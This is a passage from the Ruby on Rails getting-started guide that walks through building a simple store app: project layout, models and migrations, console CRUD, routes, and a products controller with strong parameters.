| config.ru            | [Rack](https://rack.github.io) configuration for Rack-based servers used to start the application.                                                                                                                                                                             |
| db/                  | Contains your current database schema, as well as the database migrations.                                                                                                                                                                                                     |
| Dockerfile           | Configuration file for Docker.                                                                                                                                                                                                                                                 |
| Gemfile Gemfile.lock | These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.                                                                                                                   |
| lib/                 | Extended modules for your application.                                                                                                                                                                                                                                         |
| log/                 | Application log files.                                                                                                                                                                                                                                                         |
| public/              | Contains static files and compiled assets. When your app is running, this directory will be exposed as-is.                                                                                                                                                                     |
| Rakefile             | This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `lib/tasks` directory of your application. |
| README.md            | This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.                                                                                                                     |
| script/              | Contains one-off or general purpose [scripts](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/script/USAGE) and [benchmarks](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/benchmark/USAGE).                       |
| storage/             | Contains SQLite databases and Active Storage files for Disk Service. This is covered in [Active Storage Overview](active_storage_overview.html).                                                                                                                               |
| test/                | Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).                                                                                                                                                               |
| tmp/                 | Temporary files (like cache and pid files).                                                                                                                                                                                                                                    |
| vendor/              | A place for all third-party code. In a typical Rails application this includes vendored gems.                                                                                                                                                                                  |
| .dockerignore        | This file tells Docker which files it should not copy into the container.                                                                                                                                                                                                      |
| .gitattributes       | This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their behavior. See the [gitattributes documentation](https://git-scm.com/docs/gitattributes) for more information.                             |
| .git/                | Contains Git repository files.                                                                                                                                                                                                                                                 |
| .github/             | Contains GitHub specific files.                                                                                                                                                                                                                                                |
| .gitignore           | This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files.                                                                                      |
| .kamal/              | Contains Kamal secrets and deployment hooks.                                                                                                                                                                                                                                   |
| .rubocop.yml         | This file contains the configuration for RuboCop.                                                                                                                                                                                                                              |
| .ruby-version        | This file contains the default Ruby version.                                                                                                                                                                                                                                   |

### [3.4. Model-View-Controller Basics](#model-view-controller-basics)

Rails code is organized using the Model-View-Controller (MVC) architecture. With MVC, we have three main concepts where the majority of our code lives:

* Model - Manages the data in your application. Typically, your database tables.
* View - Handles rendering responses in different formats like HTML, JSON, XML, etc.
* Controller - Handles user interactions and the logic for each request.

Now that we've got a basic understanding of MVC, let's see how it's used in Rails.

## [4. Hello, Rails!](#hello-rails-bang)

Let's start easy by creating our application's database and boot up our Rails server for the first time.

In your terminal, run the following commands in the `store` directory:

```
$ bin/rails db:create
```

This will initially create the application's database.

```
$ bin/rails server
```

When we run commands inside an application directory, we should use `bin/rails`. This makes sure the application's version of Rails is used.

This will start up a web server called Puma that will serve static files and your Rails application:

```
=> Booting Puma
=> Rails 8.1.0 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 6.4.3 (ruby 3.3.5-p100) ("The Eagle of Durango")
*  Min threads: 3
*  Max threads: 3
*  Environment: development
*          PID: 12345
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
Use Ctrl-C to stop
```

To see your Rails application, open <http://localhost:3000> in your browser. You will see the default Rails welcome page:

It works!

This page is the *smoke test* for a new Rails application, ensuring that everything is working behind the scenes to serve a page.

To stop the Rails server anytime, press `Ctrl-C` in your terminal.

### [4.1. Autoloading in Development](#autoloading-in-development)

Developer happiness is a cornerstone philosophy of Rails and one way of achieving this is with automatic code reloading in development.

Once you start the Rails server, new files or changes to existing files are detected and automatically loaded or reloaded as necessary. This allows you to focus on building without having to restart your Rails server after every change.

You may also notice that Rails applications rarely use `require` statements like you may have seen in other programming languages. Rails uses naming conventions to require files automatically so you can focus on writing your application code.

See [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) for more details.

## [5. Creating a Database Model](#creating-a-database-model)

Active Record is a feature of Rails that maps relational databases to Ruby code. It helps generate the structured query language (SQL) for interacting with the database like creating, updating, and deleting tables and records. Our application is using SQLite which is the default for Rails.

Let's start by adding a database table to our Rails application to add products to our simple e-commerce store.

```
$ bin/rails generate model Product name:string
```

This command tells Rails to generate a model named `Product` which has a `name` column and type of `string` in the database. Later on, you'll learn how to add other column types.

You'll see the following in your terminal:

```
      invoke  active_record
      create    db/migrate/20240426151900_create_products.rb
      create    app/models/product.rb
      invoke    test_unit
      create      test/models/product_test.rb
      create      test/fixtures/products.yml
```

This command does several things. It creates...

1. A migration in the `db/migrate` folder.
2. An Active Record model in `app/models/product.rb`.
3. Tests and test fixtures for this model.

Model names are *singular*, because an instantiated model represents a single record in the database (i.e., You are creating a *product* to add to the database.).

### [5.1. Database Migrations](#database-migrations)

A *migration* is a set of changes we want to make to our database.

By defining migrations, we're telling Rails how to change the database to add, change, or remove tables, columns or other attributes of our database. This helps keep track of changes we make in development (only on our computer) so they can be deployed to production (live, online!) safely.

In your code editor, open the migration Rails created for us so we can see what the migration does.

As convention we'll state the filepath as a comment on top of each file

```
# db/migrate/<timestamp>_create_products.rb
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products do |t|
      t.string :name

      t.timestamps
    end
  end
end
```

This migration is telling Rails to create a new database table named `products`.

In contrast to the model above, Rails makes the database table names *plural*, because the database holds all of the instances of each model (i.e., You are creating a database of *products*).

The `create_table` block then defines which columns and types should be defined in this database table.

`t.string :name` tells Rails to create a column in the `products` table called `name` and set the type as `string`.

`t.timestamps` is a shortcut for defining two columns on your models: `created_at:datetime` and `updated_at:datetime`. You'll see these columns on most Active Record models in Rails and they are automatically set by Active Record when creating or updating records.

### [5.2. Running Migrations](#running-migrations)

Now that you have defined what changes to make to the database, use the following command to run the migrations:

```
$ bin/rails db:migrate
```

This command checks for any new migrations and applies them to your database. Its output looks like this:

```
== 20240426151900 CreateProducts: migrating ===================================
-- create_table(:products)
   -> 0.0030s
== 20240426151900 CreateProducts: migrated (0.0031s) ==========================
```

If you make a mistake, you can run `bin/rails db:rollback` to undo the last migration.

## [6. Rails Console](#rails-console)

Now that we have created our products table, we can interact with it in Rails. Let's try it out.

For this, we're going to use a Rails feature called the *console*. The console is a helpful, interactive tool for testing our code in our Rails application.

```
$ bin/rails console
```

You will be presented with a prompt like the following:

```
Loading development environment (Rails 8.1.0)
store(dev)>
```

Here we can type code that will be executed when we hit `Enter`. Let's try printing out the Rails version:

```
store(dev)> Rails.version
=> "8.1.0"
```

It works!

## [7. Active Record Model Basics](#active-record-model-basics)

When we ran the Rails model generator to create the `Product` model, it created a file at `app/models/product.rb`. This file creates a class that uses Active Record for interacting with our `products` database table.

```
# app/models/product.rb
class Product < ApplicationRecord
end
```

You might be surprised that there is no code in this class. How does Rails know what defines this model?

When the `Product` model is used, Rails will query the database table for the column names and types and automatically generate code for these attributes. Rails saves us from writing this boilerplate code and instead takes care of it for us behind the scenes so we can focus on our application logic instead.

Let's use the Rails console to see what columns Rails detects for the Product model.

Run:

```
store(dev)> Product.column_names
```

And you should see:

```
=> ["id", "name", "created_at", "updated_at"]
```

Rails asked the database for column information above and used that information to define attributes on the `Product` class dynamically so you don't have to manually define each of them. This is one example of how Rails makes development a breeze.

### [7.1. Creating Records](#creating-records)

We can instantiate a new Product record with the following code:

```
store(dev)> product = Product.new(name: "T-Shirt")
=> #<Product:0x000000012e616c30 id: nil, name: "T-Shirt", created_at: nil, updated_at: nil>
```

The `product` variable is an instance of `Product`. It has not been saved to the database, and so does not have an ID, created\_at, or updated\_at timestamps.

We can call `save` to write the record to the database.

```
store(dev)> product.save
  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
  Product Create (0.9ms)  INSERT INTO "products" ("name", "created_at", "updated_at") VALUES ('T-Shirt', '2024-11-09 16:35:01.117836', '2024-11-09 16:35:01.117836') RETURNING "id" /*application='Store'*/
  TRANSACTION (0.9ms)  COMMIT TRANSACTION /*application='Store'*/
=> true
```

When `save` is called, Rails takes the attributes in memory and generates an `INSERT` SQL query to insert this record into the database.

Rails also updates the object in memory with the database record `id` along with the `created_at` and `updated_at` timestamps. We can see that by printing out the `product` variable.

```
store(dev)> product
=> #<Product:0x00000001221f6260 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">
```

Similar to `save`, we can use `create` to instantiate and save an Active Record object in a single call.

```
store(dev)> Product.create(name: "Pants")
  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
  Product Create (0.4ms)  INSERT INTO "products" ("name", "created_at", "updated_at") VALUES ('Pants', '2024-11-09 16:36:01.856751', '2024-11-09 16:36:01.856751') RETURNING "id" /*application='Store'*/
  TRANSACTION (0.1ms)  COMMIT TRANSACTION /*application='Store'*/
=> #<Product:0x0000000120485c80 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">
```

### [7.2. Querying Records](#querying-records)

We can also look up records from the database using our Active Record model.

To find all the Product records in the database, we can use the `all` method. This is a *class* method, which is why we can use it on Product (versus an instance method that we would call on the product instance, like `save` above).

```
store(dev)> Product.all
  Product Load (0.1ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
=> [#<Product:0x0000000121845158 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">,
 #<Product:0x0000000121845018 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">]
```

This generates a `SELECT` SQL query to load all records from the `products` table. Each record is automatically converted into an instance of our Product Active Record model so we can easily work with them from Ruby.

The `all` method returns an `ActiveRecord::Relation` object which is an Array-like collection of database records with features to filter, sort, and execute other database operations.

### [7.3. Filtering & Ordering Records](#filtering-ordering-records)

What if we want to filter the results from our database? We can use `where` to filter records by a column.

```
store(dev)> Product.where(name: "Pants")
  Product Load (1.5ms)  SELECT "products".* FROM "products" WHERE "products"."name" = 'Pants' /* loading for pp */ LIMIT 11 /*application='Store'*/
=> [#<Product:0x000000012184d858 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">]
```

This generates a `SELECT` SQL query but also adds a `WHERE` clause to filter the records that have a `name` matching `"Pants"`. This also returns an `ActiveRecord::Relation` because multiple records may have the same name.

We can use `order(name: :asc)` to sort records by name in ascending alphabetical order.

```
store(dev)> Product.order(name: :asc)
  Product Load (0.3ms)  SELECT "products".* FROM "products" /* loading for pp */ ORDER BY "products"."name" ASC LIMIT 11 /*application='Store'*/
=> [#<Product:0x0000000120e02a88 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">,
 #<Product:0x0000000120e02948 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">]
```

### [7.4. Finding Records](#finding-records)

What if we want to find one specific record?

We can do this by using the `find` class method to look up a single record by ID. Call the method and pass in the specific ID by using the following code:

```
store(dev)> Product.find(1)
  Product Load (0.2ms)  SELECT "products".* FROM "products" WHERE "products"."id" = 1 LIMIT 1 /*application='Store'*/
=> #<Product:0x000000012054af08 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">
```

This generates a `SELECT` query but specifies a `WHERE` for the `id` column matching the ID of `1` that was passed in. It also adds a `LIMIT` to only return a single record.

This time, we get a `Product` instance instead of an `ActiveRecord::Relation` since we're only retrieving a single record from the database.

### [7.5. Updating Records](#updating-records)

Records can be updated in 2 ways: using `update` or assigning attributes and calling `save`.

We can call `update` on a Product instance and pass in a Hash of new attributes to save to the database. This will assign the attributes, run validations, and save the changes to the database in one method call.

```
store(dev)> product = Product.find(1)
store(dev)> product.update(name: "Shoes")
  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
  Product Update (0.3ms)  UPDATE "products" SET "name" = 'Shoes', "updated_at" = '2024-11-09 22:38:19.638912' WHERE "products"."id" = 1 /*application='Store'*/
  TRANSACTION (0.4ms)  COMMIT TRANSACTION /*application='Store'*/
=> true
```

This updated the name of the "T-Shirt" product to "Shoes" in the database. Confirm this by running `Product.all` again.

```
store(dev)> Product.all
```

You will see two products: Shoes and Pants.

```
  Product Load (0.3ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
=>
[#<Product:0x000000012c0f7300
  id: 1,
  name: "Shoes",
  created_at: "2024-12-02 20:29:56.303546000 +0000",
  updated_at: "2024-12-02 20:30:14.127456000 +0000">,
 #<Product:0x000000012c0f71c0
  id: 2,
  name: "Pants",
  created_at: "2024-12-02 20:30:02.997261000 +0000",
  updated_at: "2024-12-02 20:30:02.997261000 +0000">]
```

Alternatively, we can assign attributes and call `save` when we're ready to validate and save changes to the database.

Let's change the name "Shoes" back to "T-Shirt".

```
store(dev)> product = Product.find(1)
store(dev)> product.name = "T-Shirt"
=> "T-Shirt"
store(dev)> product.save
  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
  Product Update (0.2ms)  UPDATE "products" SET "name" = 'T-Shirt', "updated_at" = '2024-11-09 22:39:09.693548' WHERE "products"."id" = 1 /*application='Store'*/
  TRANSACTION (0.0ms)  COMMIT TRANSACTION /*application='Store'*/
=> true
```

### [7.6. Deleting Records](#deleting-records)

The `destroy` method can be used to delete a record from the database.

```
store(dev)> product.destroy
  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
  Product Destroy (0.4ms)  DELETE FROM "products" WHERE "products"."id" = 1 /*application='Store'*/
  TRANSACTION (0.1ms)  COMMIT TRANSACTION /*application='Store'*/
=> #<Product:0x0000000125813d48 id: 1, name: "T-Shirt", created_at: "2024-11-09 22:39:38.498730000 +0000", updated_at: "2024-11-09 22:39:38.498730000 +0000">
```

This deleted the T-Shirt product from our database. We can confirm this with `Product.all` to see that it only returns Pants.

```
store(dev)> Product.all
  Product Load (1.9ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
=>
[#<Product:0x000000012abde4c8
  id: 2,
  name: "Pants",
  created_at: "2024-11-09 22:33:19.638912000 +0000",
  updated_at: "2024-11-09 22:33:19.638912000 +0000">]
```

### [7.7. Validations](#validations)

Active Record provides *validations* which allows you to ensure data inserted into the database adheres to certain rules.

Let's add a `presence` validation to the Product model to ensure that all products must have a `name`.

```
# app/models/product.rb
class Product < ApplicationRecord
  validates :name, presence: true
end
```

You might remember that Rails automatically reloads changes during development. However, if the console is running when you make updates to the code, you'll need to manually refresh it. So let's do this now by running 'reload!'.

```
store(dev)> reload!
Reloading...
```

Let's try to create a Product without a name in the Rails console.

```
store(dev)> product = Product.new
store(dev)> product.save
=> false
```

This time `save` returns `false` because the `name` attribute wasn't specified.

Rails automatically runs validations during create, update, and save operations to ensure valid input. To see a list of errors generated by validations, we can call `errors` on the instance.

```
store(dev)> product.errors
=> #<ActiveModel::Errors [#<ActiveModel::Error attribute=name, type=blank, options={}>]>
```

This returns an `ActiveModel::Errors` object that can tell us exactly which errors are present.

It also can generate friendly error messages for us that we can use in our user interface.

```
store(dev)> product.errors.full_messages
=> ["Name can't be blank"]
```

Now let's build a web interface for our Products.

We are done with the console for now, so you can exit out of it by running `exit`.

## [8. A Request's Journey Through Rails](#a-request-s-journey-through-rails)

To get Rails saying "Hello", you need to create at minimum a *route*, a *controller* with an *action*, and a *view*. A route maps a request to a controller action. A controller action performs the necessary work to handle the request, and prepares any data for the view. A view displays data in a desired format.

In terms of implementation: Routes are rules written in a Ruby [DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language). Controllers are Ruby classes, and their public methods are actions. And views are templates, usually written in a mixture of HTML and Ruby.

That's the short of it, but we’re going to walk through each of these steps in more detail next.

## [9. Routes](#routes)

In Rails, a route is the part of the URL that determines how an incoming HTTP request is directed to the appropriate controller and action for processing. First, let's do a quick refresher on URLs and HTTP Request methods.

### [9.1. Parts of a URL](#parts-of-a-url)

Let's examine the different parts of a URL:

```
https://example.org/products?sale=true&sort=asc
```

In this URL, each part has a name:

* `https` is the **protocol**
* `example.org` is the **host**
* `/products` is the **path**
* `?sale=true&sort=asc` are the **query parameters**

### [9.2. HTTP Methods and Their Purpose](#http-methods-and-their-purpose)

HTTP requests use methods to tell a server what action it should perform for a given URL. Here are the most common methods:

* A `GET` request tells the server to retrieve the data for a given URL (e.g., loading a page or fetching a record).
* A `POST` request will submit data to the URL for processing (usually creating a new record).
* A `PUT` or `PATCH` request submits data to a URL to update an existing record.
* A `DELETE` request to a URL tells the server to delete a record.

### [9.3. Rails Routes](#rails-routes)

A `route` in Rails refers to a line of code that pairs an HTTP Method and a URL path. The route also tells Rails which `controller` and `action` should respond to a request.

To define a route in Rails, let's go back to your code editor and add the following route to `config/routes.rb`

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  get "/products", to: "products#index"
end
```

This route tells Rails to look for GET requests to the `/products` path. In this example, we specified `"products#index"` for where to route the request.

When Rails sees a request that matches, it will send the request to the `ProductsController` and the `index` action inside of that controller. This is how Rails will process the request and return a response to the browser.

You'll notice that we don't need to specify the protocol, domain, or query params in our routes. That's basically because the protocol and domain make sure the request reaches your server. From there, Rails picks up the request and knows which path to use for responding to the request based on what routes are defined. The query params are like options that Rails can use to apply to the request, so they are typically used in the controller for filtering the data.

Let's look at another example. Add this line after the previous route:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  get "/products", to: "products#index"
  post "/products", to: "products#create"
end
```

Here, we've told Rails to take POST requests to "/products" and process them with the `ProductsController` using the `create` action.

Routes may also need to match URLs with certain patterns. So how does that work?

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  get "/products/:id", to: "products#show"
end
```

This route has `:id` in it. This is called a `parameter` and it captures a portion of the URL to be used later for processing the request.

If a user visits `/products/1`, the `:id` param is set to `1` and can be used in the controller action to look up and display the Product record with an ID of 1. `/products/2` would display Product with an ID of 2 and so on.

Route parameters don't have to be Integers, either.

For example, you could have a blog with articles and match `/blog/hello-world` with the following route:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  get "/blog/:title", to: "blog#show"
end
```

Rails will capture `hello-world` out of `/blog/hello-world` and this can be used to look up the blog post with the matching title.

#### [9.3.1. CRUD Routes](#crud-routes)

There are 4 common actions you will generally need for a resource: Create, Read, Update, Delete (CRUD). This translates to 8 typical routes:

* Index - Shows all the records
* New - Renders a form for creating a new record
* Create - Processes the new form submission, handling errors and creating the record
* Show - Renders a specific record for viewing
* Edit - Renders a form for updating a specific record
* Update (full) - Handles the edit form submission, handling errors and updating the entire record, and typically triggered by a PUT request.
* Update (partial) - Handles the edit form submission, handling errors and updating specific attributes of the record, and typically triggered by a PATCH request.
* Destroy - Handles deleting a specific record

We can add routes for these CRUD actions with the following:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  get "/products", to: "products#index"

  get "/products/new", to: "products#new"
  post "/products", to: "products#create"

  get "/products/:id", to: "products#show"

  get "/products/:id/edit", to: "products#edit"
  patch "/products/:id", to: "products#update"
  put "/products/:id", to: "products#update"

  delete "/products/:id", to: "products#destroy"
end
```

#### [9.3.2. Resource Routes](#resource-routes)

Typing out these routes every time is redundant, so Rails provides a shortcut for defining them. To create all of the same CRUD routes, replace the above routes with this single line:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  resources :products
end
```

If you don’t want all these CRUD actions, you specify exactly what you need. Check out the [routing guide](routing.html) for details.

### [9.4. Routes Command](#routes-command)

Rails provides a command that displays all the routes your application responds to.

In your terminal, run the following command.

```
$ bin/rails routes
```

You'll see this in the output which are the routes generated by `resources :products`

```
      Prefix Verb   URI Pattern                  Controller#Action
    products GET    /products(.:format)          products#index
             POST   /products(.:format)          products#create
 new_product GET    /products/new(.:format)      products#new
edit_product GET    /products/:id/edit(.:format) products#edit
     product GET    /products/:id(.:format)      products#show
             PATCH  /products/:id(.:format)      products#update
             PUT    /products/:id(.:format)      products#update
             DELETE /products/:id(.:format)      products#destroy
```

You'll also see routes from other built-in Rails features like health checks.

## [10. Controllers & Actions](#controllers-actions)

Now that we've defined routes for Products, let's implement the controller and actions to handle requests to these URLs.

This command will generate a `ProductsController` with an index action. Since we've already set up routes, we can skip that part of the generator using a flag.

```
$ bin/rails generate controller Products index --skip-routes
      create  app/controllers/products_controller.rb
      invoke  erb
      create    app/views/products
      create    app/views/products/index.html.erb
      invoke  test_unit
      create    test/controllers/products_controller_test.rb
      invoke  helper
      create    app/helpers/products_helper.rb
      invoke    test_unit
```

This command generates a handful of files for our controller:

* The controller itself
* A views folder for the controller we generated
* A view file for the action we specified when generating the controller
* A test file for this controller
* A helper file for extracting logic in our views

Let's take a look at the ProductsController defined in `app/controllers/products_controller.rb`. It looks like this:

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
  end
end
```

You may notice the file name `products_controller.rb` is an underscored version of the Class this file defines, `ProductsController`. This pattern helps Rails to automatically load code without having to use `require` like you may have seen in other languages.

The `index` method here is an Action. Even though it's an empty method, Rails will default to rendering a template with the matching name.

The `index` action will render `app/views/products/index.html.erb`. If we open up that file in our code editor, we'll see the HTML it renders.

```
<%# app/views/products/index.html.erb %>
<h1>Products#index</h1>
<p>Find me in app/views/products/index.html.erb</p>
```

### [10.1. Making Requests](#making-requests)

Let's see this in our browser. First, run `bin/rails server` in your terminal to start the Rails server. Then open <http://localhost:3000> and you will see the Rails welcome page.

If we open <http://localhost:3000/products> in the browser, Rails will render the products index HTML.

Our browser requested `/products` and Rails matched this route to `products#index`. Rails sent the request to the `ProductsController` and called the `index` action. Since this action was empty, Rails rendered the matching template at `app/views/products/index.html.erb` and returned that to our browser. Pretty cool!

If we open `config/routes.rb`, we can tell Rails the root route should render the Products index action by adding this line:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  root "products#index"
  resources :products
end
```

Now when you visit <http://localhost:3000>, Rails will render Products#index.

### [10.2. Instance Variables](#instance-variables)

Let's take this a step further and render some records from our database.

In the `index` action, let's add a database query and assign it to an instance variable. Rails uses instance variables (variables that start with an @) to share data with the views.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
    @products = Product.all
  end
end
```

In `app/views/products/index.html.erb`, we can replace the HTML with this ERB:

```
<%# app/views/products/index.html.erb %>
<%= debug @products %>
```

ERB is short for [Embedded Ruby](https://docs.ruby-lang.org/en/master/ERB.html) and allows us to execute Ruby code to dynamically generate HTML with Rails. The `<%= %>` tag tells ERB to execute the Ruby code inside and output the return value. In our case, this takes `@products`, converts it to YAML, and outputs the YAML.

Now refresh <http://localhost:3000/> in your browser and you'll see that the output has changed. What you're seeing is the records in your database being displayed in YAML format.

The `debug` helper prints out variables in YAML format to help with debugging. For example, if you weren't paying attention and typed singular `@product` instead of plural `@products`, the debug helper could help you identify that the variable was not set correctly in the controller.

Check out the [Action View Helpers guide](action_view_helpers.html) to see more helpers that are available.

Let's update `app/views/products/index.html.erb` to render all of our product names.

```
<%# app/views/products/index.html.erb %>
<h1>Products</h1>

<div id="products">
  <% @products.each do |product| %>
    <div>
      <%= product.name %>
    </div>
  <% end %>
</div>
```

Using ERB, this code loops through each product in the `@products` `ActiveRecord::Relation` object and renders a `<div>` tag containing the product name.

We've used a new ERB tag this time as well. `<% %>` evaluates the Ruby code but does not output the return value. That ignores the output of `@products.each` which would output an array that we don't want in our HTML.

### [10.3. CRUD Actions](#crud-actions)

We need to be able to access individual products. This is the R in CRUD to read a resource.

We've already defined the route for individual products with our `resources :products` route. This generates `/products/:id` as a route that points to `products#show`.

Now we need to add that action to the `ProductsController` and define what happens when it is called.

### [10.4. Showing Individual Products](#showing-individual-products)

Open the Products controller and add the `show` action like this:

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
  end
end
```

The `show` action here defines the *singular* `@product` because it's loading a single record from the database, in other words: Show this one product. We use plural `@products` in `index` because we're loading multiple products.

To query the database, we use `params` to access the request parameters. In this case, we're using the `:id` from our route `/products/:id`. When we visit `/products/1`, the params hash contains `{id: 1}` which results in our `show` action calling `Product.find(1)` to load Product with ID of `1` from the database.

We need a view for the show action next. Following the Rails naming conventions, the `ProductsController` expects views in `app/views` in a subfolder named `products`.

The `show` action expects a file in `app/views/products/show.html.erb`. Let's create that file in our editor and add the following contents:

```
<%# app/views/products/show.html.erb %>
<h1><%= @product.name %></h1>

<%= link_to "Back", products_path %>
```

It would be helpful for the index page to link to the show page for each product so we can click on them to navigate. We can update the `app/views/products/index.html.erb` view to link to this new page to use an anchor tag to the path for the `show` action.

```
<%# app/views/products/index.html.erb %>
<h1>Products</h1>

<div id="products">
  <% @products.each do |product| %>
    <div>
      <a href="/products/<%= product.id %>">
        <%= product.name %>
      </a>
    </div>
  <% end %>
</div>
```

Refresh this page in your browser and you'll see that this works, but we can do better.

Rails provides helper methods for generating paths and URLs. When you run `bin/rails routes`, you'll see the Prefix column. This prefix matches the helpers you can use for generating URLs with Ruby code.

```
  Prefix Verb   URI Pattern             Controller#Action
products GET    /products(.:format)     products#index
 product GET    /products/:id(.:format) products#show
```

These route prefixes give us helpers like the following:

* `products_path` generates `"/products"`
* `products_url` generates `"http://localhost:3000/products"`
* `product_path(1)` generates `"/products/1"`
* `product_url(1)` generates `"http://localhost:3000/products/1"`

`_path` returns a relative path which the browser understands is for the current domain.

`_url` returns a full URL including the protocol, host, and port.

URL helpers are useful for rendering emails that will be viewed outside of the browser.

Combined with the `link_to` helper, we can generate anchor tags and use the URL helper to do this cleanly in Ruby. `link_to` accepts the display content for the link (`product.name`) and the path or URL to link to for the `href` attribute (`product`).

Let's refactor this to use these helpers:

```
<%# app/views/products/index.html.erb %>
<h1>Products</h1>

<div id="products">
  <% @products.each do |product| %>
    <div>
      <%= link_to product.name, product_path(product.id) %>
    </div>
  <% end %>
</div>
```

### [10.5. Creating Products](#creating-products)

So far we've had to create products in the Rails console, but let's make this work in the browser.

We need to create two actions for create:

1. The new product form to collect product information
2. The create action in the controller to save the product and check for errors

Let's start with our controller actions.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
  end

  def new
    @product = Product.new
  end
end
```

The `new` action instantiates a new `Product` which we will use for displaying the form fields.

We can update `app/views/products/index.html.erb` to link to the new action.

```
<%# app/views/products/index.html.erb %>
<h1>Products</h1>

<%= link_to "New product", new_product_path %>

<div id="products">
  <% @products.each do |product| %>
    <div>
      <%= link_to product.name, product_path(product.id) %>
    </div>
  <% end %>
</div>
```

Let's create `app/views/products/new.html.erb` to render the form for this new `Product`.

```
<%# app/views/products/new.html.erb %>
<h1>New product</h1>

<%= form_with model: @product do |form| %>
  <div>
    <%= form.label :name %>
    <%= form.text_field :name %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>

<%= link_to "Cancel", products_path %>
```

In this view, we are using the Rails `form_with` helper to generate an HTML form to create products. This helper uses a *form builder* to handle things like CSRF tokens, generating the URL based upon the `model:` provided, and even tailoring the submit button text to the model.

If you open this page in your browser and View Source, the HTML for the form will look like this:

```
<form action="/products" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="UHQSKXCaFqy_aoK760zpSMUPy6TMnsLNgbPMABwN1zpW-Jx6k-2mISiF0ulZOINmfxPdg5xMyZqdxSW1UK-H-Q">

  <div>
    <label for="product_name">Name</label>
    <input type="text" name="product[name]" id="product_name">
  </div>

  <div>
    <input type="submit" name="commit" value="Create Product" data-disable-with="Create Product">
  </div>
</form>
```

The form builder has included a CSRF token for security, configured the form for UTF-8 support, set the input field names and even added a disabled state for the submit button.

Because we passed a new `Product` instance to the form builder, it automatically generated a form configured to send a `POST` request to `/products`, which is the default route for creating a new record.

To handle this, we first need to implement the `create` action in our controller.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
  end

  def new
    @product = Product.new
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to @product
    else
      render :new, status: :unprocessable_entity
    end
  end

  private
    def product_params
      params.expect(product: [ :name ])
    end
end
```

#### [10.5.1. Strong Parameters](#strong-parameters)

The `create` action handles the data submitted by the form, but it needs to be filtered for security. That's where the `product_params` method comes into play.

In `product_params`, we tell Rails to inspect the params and ensure there is a key named `:product` with an array of parameters as the value. The only permitted parameters for products is `:name` and Rails will ignore any other parameters. This protects our application from malicious users who might try to hack our application.

#### [10.5.2. Handling Errors](#handling-errors)

After assigning these params to the new `Product`, we can try to save it to the database. `@product.save` tells Active Record to run validations and save the record to the database.

If `save` is successful, we want to redirect to the new product. When `redirect_to` is given an Active Record object, Rails generates a path for that record's show action.

```
redirect_to @product
```

Since `@product` is a `Product` instance, Rails pluralizes the model name and includes the object's ID in the path to produce `"/products/2"` for the redirect.

When `save` is unsuccessful and the record wasn't valid, we want to re-render the form so the user can fix the invalid data. In the `else` clause, we tell Rails to `render :new`. Rails knows we're in the `Products` controller, so it should render `app/views/products/new.html.erb`. Since we've set the `@product` variable in `create`, we can render that template and the form will be populated with our `Product` data even though it wasn't able to be saved in the database.

